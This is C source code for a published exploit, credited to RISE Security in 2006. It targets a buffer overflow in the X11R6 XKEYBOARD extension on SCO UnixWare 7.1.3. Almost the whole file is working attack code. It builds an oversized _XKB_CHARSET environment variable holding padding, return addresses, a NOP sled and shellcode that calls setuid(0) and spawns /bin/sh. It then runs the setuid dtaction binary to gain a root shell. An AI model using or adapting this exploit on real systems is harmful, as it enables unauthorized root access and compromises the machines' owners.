/*
* X11R6 XKEYBOARD extension Strcmp() for SCO UnixWare 7.1.3 x86
* Copyright 2006 RISE Security <contact@risesecurity.org>,
* Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define ADRSIZE 1024
#define NOPSIZE 4096
char shellcode[]= /* 43 bytes */
"\x68\xff\xf8\xff\x3c" /* pushl $0x3cfff8ff */
"\x6a\x65" /* pushl $0x65 */
"\x89\xe6" /* movl %esp,%esi */
"\xf7\x56\x04" /* notl 0x04(%esi) */
"\xf6\x16" /* notb (%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\xb0\x17" /* movb $0x17,%al */
"\xff\xd6" /* call *%esi */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\xb0\x3b" /* movb $0x3b,%al */
"\xff\xd6" /* call *%esi */
;
int main(int argc,char **argv){
char buf[8192],display[256],addr[4],*envp[4],*p;
int i;
printf("X11R6 XKEYBOARD extension Strcmp() for SCO UnixWare 7.1.3 x86\n");
printf("Copyright 2006 RISE Security <contact@risesecurity.org>\n\n");
if(argc!=2){
fprintf(stderr,"usage: %s xserver:display\n",argv[0]);
exit(EXIT_FAILURE);
}
snprintf(display,sizeof(display),"DISPLAY=%s",argv[1]);
*((unsigned int *)addr)=(unsigned int)buf+2048+256+1024+2048+1;
p=buf;
sprintf(p,"_XKB_CHARSET=");
p=buf+13;
for(i=0;i<256;i++) *p++='A';
for(i=0;i<ADRSIZE;i++) *p++=addr[i%4];
for(i=0;i<NOPSIZE;i++) *p++='\x90';
for(i=0;i<strlen(shellcode);i++) *p++=shellcode[i];
*p='\0';
envp[0]=buf;
envp[1]=display;
envp[2]=NULL;
execle("/usr/dt/bin/dtaction","dtaction",0,envp);
exit(EXIT_FAILURE);
}
推荐
评论(0条)
